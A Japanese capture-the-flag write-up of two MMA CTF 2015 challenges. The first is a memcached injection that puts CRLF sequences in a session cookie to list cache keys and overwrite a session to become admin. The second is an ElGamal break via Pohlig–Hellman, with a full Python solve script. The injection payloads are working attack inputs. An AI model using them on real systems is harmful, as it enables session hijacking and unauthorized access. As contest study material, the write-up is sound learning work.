ありがたいことに、終了後も問題が生きているので、他の人の解答などを見ながら解いた。 ブログに書いておくと、他のコンテスト中に「kusano_k ○○」で出てきて便利。 他人の説明よりは、自分の説明のほうが自分には理解しやすい。
Login As Admin!(2)
mage ctf writeup: MMA CTF 1st 2015
memcachedインジェクション。 分かってしまえばそんなに難しくないのに、SQLインジェクションよりはるかに正解者が少ない。 色々試すときには改行も試すようにしよう。
ログインして、Cookieのセッションに%0d%0aを入れるとエラー画面になる。memcachedだとあたりを付けたら、Cookieを%0d%0astats items
に書き換えると、保存されているアイテムの一覧が見られる。
STAT items:1:number 3 STAT items:1:age 101173 STAT items:1:evicted 0 STAT items:1:evicted_nonzero 0 STAT items:1:evicted_time 0 STAT items:1:outofmemory 0 STAT items:1:tailrepairs 0 STAT items:1:reclaimed 2 STAT items:1:expired_unfetched 1 STAT items:1:evicted_unfetched 0 STAT items:3:number 26485 STAT items:3:age 285562 STAT items:3:evicted 0 STAT items:3:evicted_nonzero 0 STAT items:3:evicted_time 0 STAT items:3:outofmemory 0 STAT items:3:tailrepairs 0 STAT items:3:reclaimed 516 STAT items:3:expired_unfetched 516 STAT items:3:evicted_unfetched 0
memcachedを良く知らないけど、保存されているキーはitemsに分類されて保存されるらしい。キーの一覧を見るコマンドは、stats dumpcache 【アイテムの番号】 【個数】
。%0d%0astats dumpcache 3 26485
とすると一覧が表示される。19 bは値のバイト数らしい。
: ITEM 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703b [19 b; 1441722497 s] ITEM f8fa793264a559b109fe0b97a1280806acf6aadaf3017ea5c667a6c174db742d [19 b; 1441722538 s] ITEM 152c55551e38f74aa13373ef52423e69637b93a56ee45e47bcd6232056e64162 [19 b; 1441722764 s] ITEM 054ff36eab83bad15aef0d606ecd88145353a62be3ac7bd6a5bcb874463bb559 [19 b; 1441643268 s] :
キーの中身を見るのは、gets 【キー名】
。%0d%0aget 98a509db766b8ff1904498767e2317ac9249b3cc5919fc08805fb671f6e2703b
で、
VALUE 05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d 0 19 {"username":"test"}
adminで1文字増えるから、adminのキーは20バイトだろうと、20バイトのキーをCookieに設定してみたけど、なぜかダメだった。ならば自分のキーに値を書き込めば良い。%0d%0aset 05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d 0 0 20%0d%0a{"username":"admin"}
を実行すると、STORED
と表示され、そのCookieを05bd22d9f54f574b5a1d6452a14d4e2204f2777af93bd695f1eb1e8dcb8b4e1d
に戻せば良い。3個の数字はそれぞれ、圧縮するか、有効期限、データサイズ。
MMA{61016d84e70e0b5ed5c03e4e398c3571}
Alicegame
AlicegameはElGamal暗号。ググりまくったらxが(1, p)から生成される時、p-1の最大素因数が小さければ離散対数問題が解けるんじゃね?みたいな謎思考が降ってきて、そういうpをひくまでひたすらパケット送り続けた。いいのが取れてPARI/GPに投げたらマジで解けた。
— きひろちゃん (@aki33524) 2015, 9月 7
aliceのwriteupこんな感じです https://t.co/Lws3AStEZH
— きひろちゃん (@aki33524) 2015, 9月 7
どうやたらこんな思考が降ってくるんだ……。
x
を秘密鍵として、h=g^x
を使って、(c1=g^r mod p, c2=m h^r mod p)
を返してくる暗号サーバー。最初の10回は、r
もm
も指定できる。最後にフラグが書かれたm
を乱数r
で暗号化して送ってくる。
r=1, m=1
とすると、c1
がg
となり、c2
がh
となる。p
は201ビットの素数なので、r=0, m=2^201
を投げると、c2=m mod p
なので、p=2^201-m
としてp
が分かる。p
以上のm
が通らない場合は、r=1, 2, 3
を投げて、p=gcd(g^2 - (g^2 mod p), g^3 - (g^3 mod p))
と求めれば良いらしい。
離散対数問題なんて無理だと思っていたけど、場合によっては解けるらしい。Pohlig–Hellman algorithm。このスライドが分かりやすい。
g^x
はx
に対して周期的になる。周期はp-1
。p-1
が素因数q1
, q2
, q3
, …を持っているとすると、a
を整数、x1
をq1
未満の整数として、y=g^(a q1+x1)
と書ける。両辺を(p-1)/q1
乗すると、y^(p-1)/q1=g^(a (p-1)+x1(p-1)/q1)=g^(x1(p-1)/q1)
。y1=y^(p-1)/q1
, g1=g^(p-1)/q1
とすれば、y1=g1^x1
。離散対数の問題のままだが、x1
がq1
未満の整数なので、q1
が1014程度なら、Baby-step giant-stepアルゴリズムで解ける。このアルゴリズムは半分全列挙のようなもの。O(2^(n/2))
。
x=x1 mod q1
, x=x2 mod q2
, …を満たす、x1
, x2
, …が手に入ったので、あとは中国の剰余定理でx
が求められる。
ElGamal暗号を使うときは、主催者のMMAのブログにあるように、q
を素数として2q+1
と表せる素数(安全素数)を使うべきらしい。
# coding: utf-8 from socket import * import time import os from Crypto.Util.number import * def get_param(): s = socket(AF_INET, SOCK_STREAM) s.connect(("cry1.chal.mmactf.link", 39985)) s.send( "1\n"+ "1\n"+ str(2**201)+"\n"+ "0\n"+ "q\n") time.sleep(1) r = [eval(l[l.index("(")-1:]) for l in s.recv(1000).split("\n")[1:-1]] g = r[0][0] h = r[0][1] p = 2**201 - r[1][1] gr = r[2][0] mhr = r[2][1] print "g =", g print "h =", h print "p =", p print "gr =", gr print "mhr =", mhr os.system("msieve152.exe -q %s"%(p-1)) # get_param() """ p1: 2 p1: 3 p1: 7 p3: 281 p6: 585131 p7: 2283091 p8: 66558319 prp11: 38812459031 prp13: 8407411055293 prp13: 8899182573469 g = 1828219035112142373387222893932751631772945852477987101590090 h = 1012750243445446249248731524345776923711031192963358920130436 p = 3047318456124223787871095946374791137939076290647203431778747 gr = 1851635883910479967256646617880733235123029676545812189105888 mhr = 2279140729739532482438192630521498934347693926502811537441460 """ g = 1828219035112142373387222893932751631772945852477987101590090 h = 1012750243445446249248731524345776923711031192963358920130436 p = 3047318456124223787871095946374791137939076290647203431778747 gr = 1851635883910479967256646617880733235123029676545812189105888 mhr = 2279140729739532482438192630521498934347693926502811537441460 Q = [2, 3, 7, 281, 585131, 2283091, 66558319, 38812459031, 8407411055293, 8899182573469] # 離散対数(Baby-step giant-step) # y = g^x mod p # qはgの位数 def log(g, y, p, q): m = int(q**0.5+1) T = {} t = 1 for j in range(m): T[t] = j t = t*g%p gm = pow(pow(g, p-2, p), m, p) t = y for i in range(m): if t in T: return i*m+T[t] t = t*gm%p return -1 X = [] for q in Q: x = log(pow(g,(p-1)/q,p), pow(h,(p-1)/q,p), p, q) print q, x X += [x] print "X =", X # 拡張ユークリッドの互除法 # mx+ny = gcd(m,n)となる(x, y, gcd(m,n))を返す def exgcd(m, n): if n>0: y,x,d = exgcd(n, m%n) return x, y-m/n*x, d else: return 1, 0, m # 中国の剰余定理 def chinese(A, M): n = len(A) r = 0 P = reduce(lambda x,y: x*y, M, 1) for i in range(n): x,y,d = exgcd(M[i], P/M[i]) r += y*(P/M[i])*A[i] return r%P x = chinese(X, Q) print "x =", x print pow(g, x, p) print h m = mhr * pow(pow(gr, x, p), p-2, p)%p print "m = %x"%m print long_to_bytes(m)
MMA{wrOng_wr0ng_ElGamal}